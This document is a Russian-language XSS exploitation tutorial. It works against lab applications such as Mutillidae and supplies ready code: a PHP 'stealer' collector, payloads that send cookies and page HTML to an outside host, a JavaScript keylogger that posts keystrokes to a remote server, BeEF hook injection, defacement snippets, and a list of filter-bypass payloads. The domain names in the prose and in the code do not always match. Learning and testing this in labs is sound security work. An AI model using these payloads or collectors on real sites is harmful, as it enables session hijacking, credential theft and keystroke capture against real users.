Содержание:
Рекомендуется также ознакомиться с первым уроком: «Основы XSS и поиск уязвимых к XSS сайтов».
Кража данных с помощью XSS и их передача на удалённый сервер
Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить хостинг.
Для приёма и показа данных будем использовать следующий код:
<?php #error_reporting(0); $filename = 'log.txt'; $password = 'pass'; if (!file_exists($filename)) { if ($fh = fopen($filename, 'w')) { fclose($fh); } } if (isset($_GET['c'])) { $content = '[Host]: ' . $_SERVER['REMOTE_HOST'] . PHP_EOL; $content .= '[Remote Addr]: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL; $content .= '[Sensitive Information]: ' . $_GET['c'] . PHP_EOL; $content .= PHP_EOL . PHP_EOL; file_put_contents($filename, $content, FILE_APPEND | LOCK_EX); } if (isset($_GET['p'])) { if ($_GET['p'] == $password) { if (isset($_GET['rm'])) { unlink($filename); } else { $data = file_get_contents($filename); $convert = explode("\n", $data); for ($i = 0; $i < count($convert); $i++) { echo $convert[$i] . '</br>'; } } } }
Сохраняем его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.
В строках
$filename = 'log.txt'; $password = 'pass';
Устанавливаются файл для хранения данных и пароль (pass).
Для передачи данных используется переменная c, например: http://ip-or-url/stealer.php?c=здесь данные
Для просмотра полученных данных: http://ip-or-url/stealer.php?p=pass
Для очистки файла с захваченными данными: http://ip-or-url/stealer.php?p=pass&rm
Уязвимость мы будем эксплуатировать в приложении http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Сборщик данных я разместил по адресу http://miloserdov.org/stealer.php
Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):
<script>new Image().src="https://miloserdov.org/stealer.php?c="+encodeURI(document.cookie);</script>
Размещаем:
Получаем результат:
Можно украсть весь HTML код:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.body.innerHTML);</script>
Или отдельные элементы:
<script>
new
Image().src=
" http://miloserdov.org/stealer.php?c="
+encodeURI(document.getElementById(
'idSystemInformationHeading'
).innerHTML));</script>
Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.
Изменение внешнего вида сайта при помощи XSS
Подобным образом можно оставить веб-сайт без содержимого:
<script>document.body.innerHTML=
""
</script>
А так без содержимого будет только выбранный элемент:
<script>document.getElementById(
'idSystemInformationHeading'
).innerHTML=
""
</script>
Можно поменять содержимое сайта на своё:
<script>document.body.innerHTML="<p>Ещё один сайт о всякой фигне.</p>"</script>
Добавить что-то от себя:
<script>document.body.innerHTML=document.body.innerHTML+"<p>One more shitty web site.</p>"</script>
И делать что-угодно со стилями.
Внедрение перехватчика нажатий клавиш при XSS (килогер)
Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.
Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.
На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:
Исходный код exploit.js:
var keys = ''; document.onkeypress = function (e) { var get = window.event ? event : e; var key = get.keyCode ? get.keyCode : get.charCode; key = String.fromCharCode(key); keys += key; }; window.setInterval(function () { new Image().src = 'https://helpugroup.com/exploit.php?keylog=' + keys; keys = ''; }, 1000);
Обратите внимание на строку:
new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;
Вместо helpugroup.com вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.
Второй файл exploit.php:
<?php $password = 'pass'; if (!file_exists('keylog.txt')) { if ($fh = fopen('keylog.txt', 'w')) { fclose($fh); } } if (!empty($_GET['keylog'])) { $logfile = fopen('keylog.txt', 'a+'); fwrite($logfile, $_GET['keylog']); fclose($logfile); } if (isset($_GET['p'])) { if ($_GET['p'] == $password) { if (isset($_GET['rm'])) { unlink('keylog.txt'); } else { $data = file_get_contents('keylog.txt'); $convert = explode("\n", $data); for ($i = 0; $i < count($convert); $i++) { echo $convert[$i] . '</br>'; } } } }
В нём можно ничего не менять – разве пароль установите на свой.
В сайте с имеющейся хранимой XSS мы вводим:
<script src="https://miloserdov.org/exploit.js"></script>
Обратите внимание на адрес – https://helpugroup.com/exploit.js – вам нужно заменить его на свой.
Подцепление на BeEF
Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.
Атакующий запускает BeEF на своём сервере:
sudo beef
BeEF даёт подсказку, какой файл нужно внедрять в код: http://192.168.1.39:3000/hook.js
Наш код, который мы вставляем в сайт, уязвимый к XSS:
<script src=
"http://192.168.1.39:3000/hook.js"
>
Внедряем:
Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:
Выполняем разные атаки:
Подсказки по эксплуатации XSS и обходу фильтров
Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.
Базовая полезная нагрузка XSS:
<script>alert("XSS-by-Shawar")</script> "><script>alert("XSS-by-Shawar")</script> "><script>alert(/XSS-by-Shawar/)</script>
Внутри тэга Script:
</script><script>alert("XSS by S
Обход ограничения тэга script путём замены регистра:
"><iFrAmE/src=jAvAscrIpT:alert(/xss-by-shawar/)> "><ScRiPt>alert("xss by shawar")</sCrIpT>
XSS с использованием тэгов Image и HTML:
"><detials ontoggle=confirm(0)> "><IMG SRC=x onerror=javascript:alert("XSS-by-Shawar")> "><img onmouseover=alert(“XSS by Shawar”)> "><test onclick=alert(/xss-by-shawar/)>clickme</test> "><a href=javascript:alert(/xss-by-shawar/)clickme</a> "><h1 onmouseover=alert("XSS by Shawar Khan")> hover on me</h1> "><svg/onload=prompt("XSS by Shawar Khan")> "><body/onload=alert("XSS by shawar")>